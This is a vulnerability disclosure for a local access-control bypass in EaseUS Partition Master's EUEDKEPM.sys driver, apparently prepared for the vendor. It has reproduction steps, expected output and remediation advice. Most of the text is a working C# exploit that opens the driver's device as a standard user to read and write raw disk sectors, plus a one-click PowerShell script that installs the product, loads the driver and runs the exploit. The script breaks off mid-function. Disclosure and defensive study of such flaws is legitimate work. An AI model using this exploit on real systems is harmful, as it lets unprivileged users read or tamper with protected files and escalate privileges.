EaseUS Partition Master 14.5 Kernel Driver EUEDKEPM.sys Local Privilege Escalation

CVE-2026-12782 Summary

EaseUS Partition Master installs `EUEDKEPM.sys`, a raw disk forwarding kernel driver that exposes a device path of the form `\\.\EUEDKEPM\<disk>`. A standard local user can open this device and issue raw reads and writes against a caller-selected physical disk number.

In this validation, a standard user at Medium Integrity could not directly read or write an administrator-only test file and could not directly open the underlying raw disk. The same user then used `\\.\EUEDKEPM\1` to read the file's NTFS data clusters from a controlled temporary VHD and to overwrite the same protected file data. Administrator readback confirmed the write marker in the protected file.

This is a local Windows access-control bypass. The driver performs lower-disk I/O in kernel mode and exposes privileged raw disk functionality to an unprivileged caller. An unprivileged user can exploit arbitrary read/write primitives over protected file resources to achieve local privilege escalation.

Affected Product and Version

- Product: EaseUS Partition Master
- Installer product version: `14.5`
- Driver: `EUEDKEPM.sys`
- Driver path observed during validation: `C:\WINDOWS\System32\drivers\EUEDKEPM.sys`
- Driver SHA-256: `C47AB92B8ECABF409EEBCA75AF0EF42C2A9427B0C510E951031A3A7453E9BC90`
- Driver signature: `Valid`
- Driver signer: `Microsoft Windows Hardware Compatibility Publisher`

Download URL and SHA-256

- Download URL: `http://download.easeus.com/free/epm.exe`
- File name: `epm.exe`
- Installer SHA-256: `85208FD27937DFEB82D6637B9C57BD61EDC5814EC72A8DF5C631F2193BB3A7C9`
- Installer signer observed locally: `Chengdu Yiwo Tech Development Co., Ltd.`
- Installer signature status observed locally: `UnknownError`

Vulnerability Type

Local raw disk read/write access-control bypass.

Impact

A standard local user can bypass Windows file and raw disk access checks by routing raw disk operations through `EUEDKEPM.sys`.

The proof used only a controlled temporary VHD and a protected test file. The security impact generalizes to any disk object the driver can open and forward to: protected file disclosure, protected file tampering, offline modification of on-disk application data, and possible privilege escalation when writable protected data influences privileged code or configuration.

Test Environment

- Host: `WIN-R10EKFCBLSE`
- OS: Microsoft Windows Server 2025 Datacenter Evaluation, version `10.0.26100`, 64-bit
- PowerShell: `5.1.26100.7462`
- Administrator context used for setup, driver loading, and cleanup
- Standard test user context used for exploitation: `WIN-R10EKFCBLSE\low`
- Standard test user integrity level: Medium
- Test disk: temporary fixed VHD, 96 MB
- Protected test object: `R:\protected\admin_only_flag.bin`

Reproduction Steps

Run from an elevated PowerShell prompt:

```
$env:VENDOR_REPRO_LOW_PASSWORD = '<standard-user-password>'
powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\repro_one_click.ps1 -UseEnvPassword
-AttemptWrite
```

```
Remove-Item Env:\VENDOR_REPRO_LOW_PASSWORD
```

Alternatively omit `-UseEnvPassword` and the script will prompt for the standard user's credential:

```
powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\repro_one_click.ps1 -AttemptWrite
```

What The Script Does

1. Downloads the official EaseUS Partition Master installer from `http://download.easeus.com/free/epm.exe` if needed.
2. Compiles the low-privilege C# exploit.
3. Installs EaseUS Partition Master into `C:\ProgramData\VendorRepro\easeus_partition_master`.
4. Finds the installed `C:\WINDOWS\System32\drivers\EUEDKEPM.sys` driver and records its SHA-256 and signature.
5. Creates a temporary `EUEDKEPMRepro` kernel service, sets `DeviceName=EUEDKEPM`, and starts the driver.
6. Creates and formats a temporary 96 MB VHD.
7. Creates `R:\protected\admin_only_flag.bin` with a unique marker, write-through file output, and an ACL granting access only to `SYSTEM` and `Administrators`.
8. Resolves the flag's first NTFS data run and computes its absolute disk offset.
9. Runs the exploit as the standard user. The exploit performs baseline checks and then reads the flag data through `\\.\EUEDKEPM\<disk>`.
10. When `-AttemptWrite` is supplied, writes a second marker through `\\.\EUEDKEPM\<disk>` to the same controlled VHD location.
11. Verifies the write by reading the protected file back as Administrator.
12. Dismounts the temporary VHD, stops and deletes the temporary driver service, uninstalls the product, removes test directories, and keeps the evidence directory.

Expected Successful Output

Read phase:

```
[IDENTITY] user=WIN-R10EKFCBLSE\low
[IDENTITY] is_administrator=False
[IDENTITY] integrity=Medium
[BASELINE] protected_read=DENIED path=R:\protected\admin_only_flag.bin error=Access to the path 'R:\protected\admin_only_flag.bin' is denied.
[BASELINE] protected_write=DENIED path=R:\protected\admin_only_flag.bin error=Access to the path 'R:\protected\admin_only_flag.bin' is denied.
[BASELINE] raw_disk_open=DENIED path=\\.\PhysicalDrive1 error=5
[DRIVER] open=SUCCESS path=\\.\EUEDKEPM\1
[RESULT] read_marker_found=True
```

Write phase:

```
[IDENTITY] user=WIN-R10EKFCBLSE\low
[IDENTITY] is_administrator=False
[IDENTITY] integrity=Medium
[BASELINE] raw_disk_open=DENIED path=\\.\PhysicalDrive1 error=5
[DRIVER] open=SUCCESS path=\\.\EUEDKEPM\1
[WRITE_ATTEMPT] result=SUCCESS_NONSTANDARD_BYTE_COUNT requested_bytes=20480
driver_reported_bytes=10485760
[RESULT] write_succeeded=True
```

Administrator verification:

```
{
  "marker_found": true
}
```

Why This Proves the Vulnerability

The test user is a standard user at Medium Integrity. Direct access to the protected NTFS file failed. Direct access to `\\.\PhysicalDrive1` also failed with Windows error `5` (`Access is denied`). The only successful path was through `\\.\EUEDKEPM\1`.

Through that driver path, the same standard user read a unique marker from an administrator-only file and then wrote a second marker into the same protected file data. Administrator readback confirmed the write. Therefore, `EUEDKEPM.sys` exposes privileged raw disk read/write functionality without enforcing the expected Windows access checks.

Cleanup Steps

The script cleaned up the controlled test objects and temporary service:

```
SERVICE_NAME: EUEDKEPMRepro
        TYPE               : 1  KERNEL_DRIVER
        STATE              : 1  STOPPED
[SC] DeleteService SUCCESS
uninstaller exit=0
WorkRoot exists after cleanup: False
InstallDir exists after cleanup: False
EUEDKEPMRepro service query after cleanup:
[SC] EnumQueryServicesStatus:OpenService FAILED 1060:
```

```
The specified service does not exist as an installed service.
```

Post-cleanup checks showed that `EUEDKEPM`, `EUEDKEPMRepro`, and `epmntdrv` services were absent. A separate EaseUS driver service, `EUDCPEPM`, remained running in a not-stoppable state and was already marked for deletion by the Service Control Manager; no reboot or shutdown was performed.

Suggested Remediation

- Do not expose raw disk forwarding devices to unprivileged users.
- Create device objects with `IoCreateDeviceSecure` and a restrictive SDDL that permits only administrators or a trusted service SID.
- Use `FILE_DEVICE_SECURE_OPEN` where applicable.
- Require explicit caller authorization before forwarding raw disk reads, raw disk writes, or disk IOCTLs to lower storage stacks.
- Avoid forwarding caller-selected disk numbers and offsets directly to disk devices. If raw disk operations are required, route them through a privileged broker service that enforces target allowlists and operation policy.
- Fix completed byte count reporting so forwarded read/write requests report the actual byte count instead of `requested_length << 9`.

POC

easeus_raw_forwarder_flag_rw_exploit.cs

```
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
using Microsoft.Win32.SafeHandles;

internal static class EaseUsRawForwarderFlagRwExploit
{
    private const uint GENERIC_READ = 0x80000000;
    private const uint GENERIC_WRITE = 0x40000000;
    private const uint FILE_SHARE_READ = 0x00000001;
    private const uint FILE_SHARE_WRITE = 0x00000002;
    private const uint OPEN_EXISTING = 3;
```

```
    private const uint FILE_BEGIN = 0;
    private const int TOKEN_QUERY = 0x0008;
    private const int TokenIntegrityLevel = 25;

    [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
    private static extern SafeFileHandle CreateFileW(
        string lpFileName,
        uint dwDesiredAccess,
        uint dwShareMode,
        IntPtr lpSecurityAttributes,
        uint dwCreationDisposition,
        uint dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool SetFilePointerEx(SafeFileHandle hFile, long liDistanceToMove,
IntPtr lpNewFilePointer, uint dwMoveMethod);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool ReadFile(SafeFileHandle hFile, IntPtr lpBuffer, int
nNumberOfBytesToRead, out int lpNumberOfBytesRead, IntPtr lpOverlapped);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool WriteFile(SafeFileHandle hFile, IntPtr lpBuffer, int
nNumberOfBytesToWrite, out int lpNumberOfBytesWritten, IntPtr lpOverlapped);

    [DllImport("kernel32.dll")]
    private static extern IntPtr GetCurrentProcess();

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool CloseHandle(IntPtr hObject);

    [DllImport("advapi32.dll", SetLastError = true)]
    private static extern bool OpenProcessToken(IntPtr processHandle, int desiredAccess, out
IntPtr tokenHandle);

    [DllImport("advapi32.dll", SetLastError = true)]
    private static extern bool GetTokenInformation(IntPtr tokenHandle, int
tokenInformationClass, IntPtr tokenInformation, int tokenInformationLength, out int
returnLength);
```

```
    [DllImport("advapi32.dll", SetLastError = true)]
    private static extern IntPtr GetSidSubAuthorityCount(IntPtr pSid);

    [DllImport("advapi32.dll", SetLastError = true)]
    private static extern IntPtr GetSidSubAuthority(IntPtr pSid, uint nSubAuthority);

    private static int Main(string[] args)
    {
        try
        {
            Options opt = Options.Parse(args);
            if (opt == null)
            {
                Usage();
                return 2;
            }

            PrintIdentity();
            if (!string.IsNullOrEmpty(opt.FlagPath))
            {
                BaselineProtectedFile(opt.FlagPath);
            }
            BaselineRawDisk(opt.Disk);

            string devicePath = @"\\.\" + opt.Device + @"\" + opt.Disk;
            using (SafeFileHandle h = OpenForwarder(devicePath))
            {
                if (h.IsInvalid)
                {
                    Console.Error.WriteLine("[DRIVER] open=FAILED path={0} error={1}",
devicePath, Marshal.GetLastWin32Error());
                    return 1;
                }
                Console.WriteLine("[DRIVER] open=SUCCESS path={0}", devicePath);

                if (opt.Mode == "read")
                {
                    int reportedBytes;
                    byte[] data = RawRead(h, opt.OffsetBytes, checked((int)opt.LengthBytes),
```

```
out reportedBytes);
                    File.WriteAllBytes(opt.OutPath, data);
                    string prefix = AsciiPreview(data, 256);
                    bool found = !string.IsNullOrEmpty(opt.ExpectMarker) &&
Encoding.ASCII.GetString(data).Contains(opt.ExpectMarker);
                    Console.WriteLine("[EXPLOIT_READ] success=True device={0} disk={1}
offset={2} requested_bytes={3} driver_reported_bytes={4} out={5}", opt.Device, opt.Disk,
opt.OffsetBytes, data.Length, reportedBytes, opt.OutPath);
                    Console.WriteLine("[EXPLOIT_READ] prefix={0}", prefix);
                    if (!string.IsNullOrEmpty(opt.ExpectMarker))
                    {
                        Console.WriteLine("[RESULT] read_marker_found={0}", found);
                        return found ? 0 : 3;
                    }
                    return 0;
                }

                byte[] payload = MakePayload(opt.WriteMarker, checked((int)opt.LengthBytes));
                int writeReportedBytes = RawWrite(h, opt.OffsetBytes, payload);
                Console.WriteLine("[EXPLOIT_WRITE] success=True device={0} disk={1} offset={2}
requested_bytes={3} driver_reported_bytes={4}", opt.Device, opt.Disk, opt.OffsetBytes,
payload.Length, writeReportedBytes);
                Console.WriteLine("[EXPLOIT_WRITE] marker={0}", opt.WriteMarker);
                Console.WriteLine("[RESULT] write_succeeded=True");
                return 0;
            }
        }
        catch (Exception ex)
        {
            Console.Error.WriteLine("[ERROR] {0}: {1}", ex.GetType().Name, ex.Message);
            return 1;
        }
    }

    private static SafeFileHandle OpenForwarder(string devicePath)
    {
        return CreateFileW(devicePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ |
FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero);
    }
```

```
    private static byte[] RawRead(SafeFileHandle h, ulong offset, int length, out int
reportedBytes)
    {
        if (!SetFilePointerEx(h, checked((long)offset), IntPtr.Zero, FILE_BEGIN))
        {
            throw new InvalidOperationException("SetFilePointerEx failed: " +
Marshal.GetLastWin32Error());
        }

        IntPtr buf = Marshal.AllocHGlobal(length);
        try
        {
            ZeroMemory(buf, length);
            if (!ReadFile(h, buf, length, out reportedBytes, IntPtr.Zero))
            {
                throw new InvalidOperationException("ReadFile through vendor device failed: "
+ Marshal.GetLastWin32Error());
            }
            byte[] data = new byte[length];
            Marshal.Copy(buf, data, 0, length);
            return data;
        }
        finally
        {
            Marshal.FreeHGlobal(buf);
        }
    }

    private static int RawWrite(SafeFileHandle h, ulong offset, byte[] payload)
    {
        if (!SetFilePointerEx(h, checked((long)offset), IntPtr.Zero, FILE_BEGIN))
        {
            throw new InvalidOperationException("SetFilePointerEx failed: " +
Marshal.GetLastWin32Error());
        }

        IntPtr buf = Marshal.AllocHGlobal(payload.Length);
        try
        {
            Marshal.Copy(payload, 0, buf, payload.Length);
```

```
            int wrote;
            bool ok = WriteFile(h, buf, payload.Length, out wrote, IntPtr.Zero);
            int lastError = Marshal.GetLastWin32Error();
            if (!ok)
            {
                throw new InvalidOperationException("WriteFile through vendor device failed: "
+ lastError);
            }
            if (wrote < payload.Length)
            {
                throw new InvalidOperationException("WriteFile through vendor device reported
too few bytes: requested=" + payload.Length + " reported=" + wrote + " error=" + lastError);
            }
            if (wrote != payload.Length)
            {
                Console.WriteLine("[WRITE_ATTEMPT] result=SUCCESS_NONSTANDARD_BYTE_COUNT
requested_bytes={0} driver_reported_bytes={1}", payload.Length, wrote);
            }
            else
            {
                Console.WriteLine("[WRITE_ATTEMPT] result=SUCCESS requested_bytes={0}
driver_reported_bytes={1}", payload.Length, wrote);
            }
            return wrote;
        }
        finally
        {
            Marshal.FreeHGlobal(buf);
        }
    }

    private static void BaselineProtectedFile(string path)
    {
        try
        {
            File.ReadAllBytes(path);
            Console.WriteLine("[BASELINE] protected_read=UNEXPECTED_SUCCESS path={0}", path);
        }
        catch (Exception ex)
        {
```

```
            Console.WriteLine("[BASELINE] protected_read=DENIED path={0} error={1}", path,
ex.Message);
        }

        try
        {
            File.WriteAllText(path, "SHOULD-NOT-WRITE");
            Console.WriteLine("[BASELINE] protected_write=UNEXPECTED_SUCCESS path={0}", path);
        }
        catch (Exception ex)
        {
            Console.WriteLine("[BASELINE] protected_write=DENIED path={0} error={1}", path,
ex.Message);
        }
    }

    private static void BaselineRawDisk(uint disk)
    {
        string path = @"\\.\" + "PhysicalDrive" + disk;
        using (SafeFileHandle h = CreateFileW(path, GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero))
        {
            if (h.IsInvalid)
            {
                Console.WriteLine("[BASELINE] raw_disk_open=DENIED path={0} error={1}", path,
Marshal.GetLastWin32Error());
            }
            else
            {
                Console.WriteLine("[BASELINE] raw_disk_open=UNEXPECTED_SUCCESS path={0}",
path);
            }
        }
    }

    private static void PrintIdentity()
    {
        WindowsIdentity id = WindowsIdentity.GetCurrent();
        WindowsPrincipal principal = new WindowsPrincipal(id);
        Console.WriteLine("[IDENTITY] user={0}", id.Name);
```

```
        Console.WriteLine("[IDENTITY] is_administrator={0}",
principal.IsInRole(WindowsBuiltInRole.Administrator));
        Console.WriteLine("[IDENTITY] integrity={0}", GetIntegrityLevel());
    }

    private static string GetIntegrityLevel()
    {
        IntPtr token;
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, out token)) return "unknown";
        try
        {
            int needed;
            GetTokenInformation(token, TokenIntegrityLevel, IntPtr.Zero, 0, out needed);
            IntPtr buf = Marshal.AllocHGlobal(needed);
            try
            {
                if (!GetTokenInformation(token, TokenIntegrityLevel, buf, needed, out needed))
return "unknown";
                IntPtr sid = Marshal.ReadIntPtr(buf);
                int count = Marshal.ReadByte(GetSidSubAuthorityCount(sid));
                int rid = Marshal.ReadInt32(GetSidSubAuthority(sid, (uint)(count - 1)));
                if (rid >= 0x4000) return "System";
                if (rid >= 0x3000) return "High";
                if (rid >= 0x2000) return "Medium";
                if (rid >= 0x1000) return "Low";
                return "Untrusted";
            }
            finally
            {
                Marshal.FreeHGlobal(buf);
            }
        }
        finally
        {
            CloseHandle(token);
        }
    }

    private static byte[] MakePayload(string marker, int length)
    {
```

```
        if (string.IsNullOrEmpty(marker)) throw new ArgumentException("--write-marker is
required.");
        byte[] payload = new byte[length];
        byte[] markerBytes = Encoding.ASCII.GetBytes(marker);
        Array.Copy(markerBytes, payload, Math.Min(markerBytes.Length, payload.Length));
        for (int i = markerBytes.Length; i < payload.Length; i++) payload[i] = 0x42;
        return payload;
    }

    private static string AsciiPreview(byte[] data, int max)
    {
        int len = Math.Min(data.Length, max);
        return Encoding.ASCII.GetString(data, 0, len).Replace("\0", "\\0").Replace("\r",
"\\r").Replace("\n", "\\n");
    }

    private static void ZeroMemory(IntPtr ptr, int length)
    {
        byte[] zeros = new byte[Math.Min(4096, length)];
        int offset = 0;
        while (offset < length)
        {
            int chunk = Math.Min(zeros.Length, length - offset);
            Marshal.Copy(zeros, 0, IntPtr.Add(ptr, offset), chunk);
            offset += chunk;
        }
    }

    private static void Usage()
    {
        Console.Error.WriteLine("Usage:");
        Console.Error.WriteLine("  easeus_raw_forwarder_flag_rw_exploit.exe --device EPMNTDRV
--mode read --disk N --offset BYTES --length BYTES --flag-path PATH --expect-marker MARKER --
out OUT.bin");
        Console.Error.WriteLine("  easeus_raw_forwarder_flag_rw_exploit.exe --device EPMNTDRV
--mode write --disk N --offset BYTES --length BYTES --write-marker MARKER");
        Console.Error.WriteLine("  --device may be EPMNTDRV or EUEDKEPM when the matching
driver is loaded.");
    }
```

```
    private sealed class Options
    {
        public string Device = "EPMNTDRV";
        public string Mode = "read";
        public uint Disk;
        public ulong OffsetBytes;
        public ulong LengthBytes;
        public string FlagPath;
        public string ExpectMarker;
        public string WriteMarker;
        public string OutPath;

        public static Options Parse(string[] args)
        {
            Options opt = new Options();
            for (int i = 0; i < args.Length; i++)
            {
                string a = args[i].ToLowerInvariant();
                if (a == "--device" && i + 1 < args.Length) opt.Device = args[++i];
                else if (a == "--mode" && i + 1 < args.Length) opt.Mode =
args[++i].ToLowerInvariant();
                else if (a == "--disk" && i + 1 < args.Length) opt.Disk =
UInt32.Parse(args[++i]);
                else if (a == "--offset" && i + 1 < args.Length) opt.OffsetBytes =
UInt64.Parse(args[++i]);
                else if (a == "--length" && i + 1 < args.Length) opt.LengthBytes =
UInt64.Parse(args[++i]);
                else if (a == "--flag-path" && i + 1 < args.Length) opt.FlagPath = args[++i];
                else if (a == "--expect-marker" && i + 1 < args.Length) opt.ExpectMarker =
args[++i];
                else if (a == "--write-marker" && i + 1 < args.Length) opt.WriteMarker =
args[++i];
                else if (a == "--out" && i + 1 < args.Length) opt.OutPath = args[++i];
                else return null;
            }

            if (opt.Mode != "read" && opt.Mode != "write") return null;
            if (string.IsNullOrWhiteSpace(opt.Device)) return null;
            foreach (char c in opt.Device)
            {
```

```
                if (!char.IsLetterOrDigit(c) && c != '_' && c != '-') return null;
            }
            if (opt.LengthBytes == 0) return null;
            if (opt.Mode == "read" && string.IsNullOrEmpty(opt.OutPath)) return null;
            if (opt.Mode == "write" && string.IsNullOrEmpty(opt.WriteMarker)) return null;
            return opt;
        }
    }
}
```

repro_one_click.ps1

```
[CmdletBinding()]
param(
    [string]$RepoRoot,
    [string]$LowUser = 'EXPDEV\low',
    [System.Management.Automation.PSCredential]$LowCredential,
    [switch]$UseEnvPassword,
    [switch]$AttemptWrite,
    [switch]$SkipCleanup
)

$ErrorActionPreference = 'Stop'
$ProgressPreference = 'SilentlyContinue'

function Assert-Admin {
    $identity = [Security.Principal.WindowsIdentity]::GetCurrent()
    $principal = [Security.Principal.WindowsPrincipal]::new($identity)
    if (-not $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
        throw 'Run from an elevated PowerShell session.'
    }
}

function Get-LowCredential {
    if ($LowCredential) { return $LowCredential }
    if ($UseEnvPassword) {
        $plain = [Environment]::GetEnvironmentVariable('VENDOR_REPRO_LOW_PASSWORD')
        if ([string]::IsNullOrWhiteSpace($plain)) { throw 'VENDOR_REPRO_LOW_PASSWORD is not
set.' }
        return [System.Management.Automation.PSCredential]::new($LowUser, (ConvertTo-
```

```
SecureString $plain -AsPlainText -Force))
    }
    return Get-Credential -UserName $LowUser -Message 'Credential for the standard test user'
}

function Download-Installer([string]$OutPath) {
    if (Test-Path $OutPath) { return }
    New-Item -ItemType Directory -Force -Path (Split-Path $OutPath -Parent) | Out-Null
    Invoke-WebRequest -Uri 'http://download.easeus.com/free/epm.exe' -OutFile $OutPath -
UseBasicParsing -TimeoutSec 240 -Headers @{ 'User-Agent'='Mozilla/5.0' }
}

function Compile-Exploit([string]$SourcePath, [string]$ExePath) {
    $csc = "$env:WINDIR\Microsoft.NET\Framework64\v4.0.30319\csc.exe"
    if (!(Test-Path $csc)) { throw "C# compiler not found: $csc" }
    New-Item -ItemType Directory -Force -Path (Split-Path $ExePath -Parent) | Out-Null
    & $csc /nologo /optimize+ /platform:x64 /target:exe "/out:$ExePath" $SourcePath
    if ($LASTEXITCODE -ne 0) { throw 'Exploit compilation failed.' }
}

function Run-Low {
    param(
        [string]$Name,
        [string]$FilePath,
        [string[]]$ArgumentList,
        [string]$Stdout,
        [string]$Stderr,
        [System.Management.Automation.PSCredential]$Credential,
        [string]$StatusPath,
        [switch]$AllowFailure
    )
    $p = Start-Process -FilePath $FilePath -ArgumentList $ArgumentList -Credential $Credential
-LoadUserProfile -WindowStyle Hidden -Wait -PassThru -RedirectStandardOutput $Stdout -
RedirectStandardError $Stderr
    "$Name exit=$($p.ExitCode)" | Add-Content -LiteralPath $StatusPath -Encoding ascii
    if ($p.ExitCode -ne 0 -and -not $AllowFailure) { throw "$Name failed with exit code
$($p.ExitCode)." }
    return $p.ExitCode
}
```

```
function Stop-ProductProcesses([string]$InstallDir, [string]$EvidenceDir, [string]$LogName) {
    $log = Join-Path $EvidenceDir $LogName
    "Process cleanup started: $(Get-Date -Format o)" | Set-Content -LiteralPath $log -Encoding
ascii
    Get-Process | Where-Object { $_.Path -and $_.Path.StartsWith($InstallDir,
[StringComparison]::OrdinalIgnoreCase) } | ForEach-Object {
        "Stopping process $($_.Id) $($_.ProcessName) $($_.Path)" | Add-Content -LiteralPath
$log -Encoding ascii
        Stop-Process -Id $_.Id -Force -ErrorAction SilentlyContinue
    }
}

function Remove-OrphanProductRegistry([string]$InstallDir, [string]$EvidenceDir,
[string]$LogName) {
    $log = Join-Path $EvidenceDir $LogName
    "Registry cleanup started: $(Get-Date -Format o)" | Set-Content -LiteralPath $log -
Encoding ascii
    $keys =
'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*','HKLM:\Software\WOW6432Node\Micr
osoft\Windows\CurrentVersion\Uninstall\*'
    Get-ItemProperty $keys -ErrorAction SilentlyContinue | Where-Object {
        $_.DisplayName -match 'EaseUS Partition Master' -and $_.InstallLocation -like
"$InstallDir*"
    } | ForEach-Object {
        "Removing orphan uninstall key $($_.PSPath)" | Add-Content -LiteralPath $log -Encoding
ascii
        Remove-Item -LiteralPath $_.PSPath -Recurse -Force -ErrorAction SilentlyContinue
    }
}

function Install-Product([string]$Installer, [string]$InstallDir, [string]$EvidenceDir) {
    Stop-ProductProcesses -InstallDir $InstallDir -EvidenceDir $EvidenceDir -LogName
'process_cleanup_before_install.txt'
    Remove-OrphanProductRegistry -InstallDir $InstallDir -EvidenceDir $EvidenceDir -LogName
'registry_cleanup_before_install.txt'
    Remove-Item -LiteralPath $InstallDir -Recurse -Force -ErrorAction SilentlyContinue
    New-Item -ItemType Directory -Force -Path $InstallDir | Out-Null
    $installLog = Join-Path $EvidenceDir 'installer.log'
    $p = Start-Process -FilePath $Installer -ArgumentList
@('/VERYSILENT','/SUPPRESSMSGBOXES','/NORESTART','/SP-',"/DIR=$InstallDir","/LOG=$installLog")
```

```
-WindowStyle Hidden -PassThru
    if (-not $p.WaitForExit(240000)) {
        Stop-Process -Id $p.Id -Force -ErrorAction SilentlyContinue
        throw 'EaseUS Partition Master installer timed out.'
    }
    "installer exit=$($p.ExitCode)" | Set-Content -LiteralPath (Join-Path $EvidenceDir
'installer_status.txt') -Encoding ascii
    return $p.ExitCode
}

function Find-Driver([string]$InstallDir, [string]$DriverName) {
    $roots = @(
        (Join-Path $env:WINDIR 'System32\drivers'),
        (Join-Path $env:WINDIR 'System32'),
        $InstallDir,
        (Join-Path $env:WINDIR 'SysWOW64')
    ) | Where-Object { Test-Path $_ }

    foreach ($root in $roots) {
        $driver = Get-ChildItem -Path $root -Recurse -ErrorAction SilentlyContinue -Filter
$DriverName | Select-Object -First 1
        if ($driver) { return $driver }
    }
    return $null
}

function Convert-DriverPath([string]$PathName) {
    if ([string]::IsNullOrWhiteSpace($PathName)) { return $null }
    $path = $PathName.Trim().Trim('"')
    if ($path.StartsWith('\??\', [StringComparison]::OrdinalIgnoreCase)) { $path =
$path.Substring(4) }
    if ($path.StartsWith('\SystemRoot\', [StringComparison]::OrdinalIgnoreCase)) { $path =
Join-Path $env:WINDIR $path.Substring(12) }
    if ($path.StartsWith('System32\', [StringComparison]::OrdinalIgnoreCase)) { $path = Join-
Path $env:WINDIR $path }
    return $path
}

function Get-ActiveDriverFile([string]$ServiceName) {
    $driver = Get-CimInstance Win32_SystemDriver -ErrorAction SilentlyContinue | Where-Object
```

```
{ $_.Name -ieq $ServiceName -and $_.Started } | Select-Object -First 1
    if (-not $driver) { return $null }
    $path = Convert-DriverPath $driver.PathName
    if ($path -and (Test-Path $path)) { return Get-Item $path }
    return $null
}

function Ensure-DriverLoaded([string]$DriverPath, [string]$EvidenceDir) {
    $log = Join-Path $EvidenceDir 'driver_service_load.txt'
    "Driver path: $DriverPath" | Set-Content -LiteralPath $log -Encoding ascii
    $active = Get-ActiveDriverFile -ServiceName 'EUEDKEPM'
    if ($active) {
        "Existing product driver service is already running: $($active.FullName)" | Add-
Content -LiteralPath $log -Encoding ascii
        return [pscustomobject]@{
            DriverPath = $active.FullName
            LoadMethod = 'Official EaseUS installer loaded the EUEDKEPM product kernel
service.'
        }
    }
    (& sc.exe stop EUEDKEPMRepro 2>&1) | Out-File -LiteralPath $log -Append -Encoding ascii
    (& sc.exe delete EUEDKEPMRepro 2>&1) | Out-File -LiteralPath $log -Append -Encoding ascii
    (& sc.exe create EUEDKEPMRepro type= kernel start= demand binPath= $DriverPath 2>&1) |
Out-File -LiteralPath $log -Append -Encoding ascii
    (& reg.exe add HKLM\SYSTEM\CurrentControlSet\Services\EUEDKEPMRepro /v DeviceName /t
REG_SZ /d EUEDKEPM /f 2>&1) | Out-File -LiteralPath $log -Append -Encoding ascii
    (& sc.exe start EUEDKEPMRepro 2>&1) | Out-File -LiteralPath $log -Append -Encoding ascii
    (& sc.exe query EUEDKEPMRepro 2>&1) | Out-File -LiteralPath $log -Append -Encoding ascii
    (& sc.exe qc EUEDKEPMRepro 2>&1) | Out-File -LiteralPath (Join-Path $EvidenceDir
'driver_service_config.txt') -Encoding ascii
    $active = Get-ActiveDriverFile -ServiceName 'EUEDKEPMRepro'
    if ($active) {
        return [pscustomobject]@{
            DriverPath = $active.FullName
            LoadMethod = 'Installed EUEDKEPM.sys was loaded with the temporary EUEDKEPMRepro
kernel service.'
        }
    }
    return [pscustomobject]@{
        DriverPath = $DriverPath
```

```
        LoadMethod = 'Temporary EUEDKEPMRepro kernel service load was attempted; see
driver_service_load.txt.'
    }
}

function Create-Vhd([string]$WorkRoot, [string]$EvidenceDir) {
    $vhd = Join-Path $WorkRoot 'controlled_disk.vhd'
    $script = Join-Path $WorkRoot 'create_vhd.diskpart'
    @"
create vdisk file="$vhd" maximum=96 type=fixed
select vdisk file="$vhd"
attach vdisk
create partition primary
"@ | Set-Content -LiteralPath $script -Encoding ascii
    (& diskpart.exe /s $script) | Out-File -LiteralPath (Join-Path $EvidenceDir
'diskpart_create.txt') -Encoding ascii
    $disk = Get-DiskImage -ImagePath $vhd | Get-Disk
    $partition = Get-Partition -DiskNumber $disk.Number | Where-Object { $_.Type -ne
'Reserved' } | Select-Object -First 1
    $partition | Format-List | Out-File -LiteralPath (Join-Path $EvidenceDir
'partition_before_format.txt') -Encoding ascii
    $partition | Set-Partition -NewDriveLetter R
    Format-Volume -DriveLetter R -FileSystem NTFS -NewFileSystemLabel EASEUSREPRO -
Confirm:$false -Force | Format-List | Out-File -LiteralPath (Join-Path $EvidenceDir
'format_volume.txt') -Encoding ascii
    return $disk.Number
}

function New-ProtectedFlag([uint32]$DiskNumber, [string]$WorkRoot, [string]$EvidenceDir) {
    New-Item -ItemType Directory -Force -Path 'R:\protected' | Out-Null
    $marker = 'EASEUS-EUEDKEPM-PROTECTED-FLAG-' + [guid]::NewGuid().ToString()
    $bytes = New-Object byte[] 20480
    $markerBytes = [Text.Encoding]::ASCII.GetBytes($marker)
    [Array]::Copy($markerBytes, 0, $bytes, 0, $markerBytes.Length)
    for ($i = $markerBytes.Length; $i -lt $bytes.Length; $i++) { $bytes[$i] = 0x41 }
    $flag = 'R:\protected\admin_only_flag.bin'
    $fs = [IO.FileStream]::new($flag, [IO.FileMode]::Create, [IO.FileAccess]::ReadWrite,
[IO.FileShare]::Read, 4096, [IO.FileOptions]::WriteThrough)
    try {
        $fs.Write($bytes, 0, $bytes.Length)
```

```
        $fs.Flush($true)
    } finally {
        $fs.Dispose()
    }
    (& icacls.exe $flag /inheritance:r /grant:r 'Administrators:F' 'SYSTEM:F') | Out-File -
LiteralPath (Join-Path $EvidenceDir 'flag_acl_set.txt') -Encoding ascii
    (& icacls.exe $flag) | Out-File -LiteralPath (Join-Path $EvidenceDir 'flag_acl.txt') -
Encoding ascii
    $ntfs = (fsutil fsinfo ntfsinfo R:) 2>&1
    $extents = (fsutil file queryextents $flag) 2>&1
    $ntfs | Out-File -LiteralPath (Join-Path $EvidenceDir 'ntfs_info.txt') -Encoding ascii
    $extents | Out-File -LiteralPath (Join-Path $EvidenceDir 'file_extents.txt') -Encoding
ascii
    [uint64]$bytesPerCluster = 0
    foreach ($line in $ntfs) { if ($line -match 'Bytes Per Cluster\s*:\s*(\d+)') {
$bytesPerCluster = [uint64]$Matches[1] } }
    $lcn = $null; $clusters = $null
    foreach ($line in $extents) {
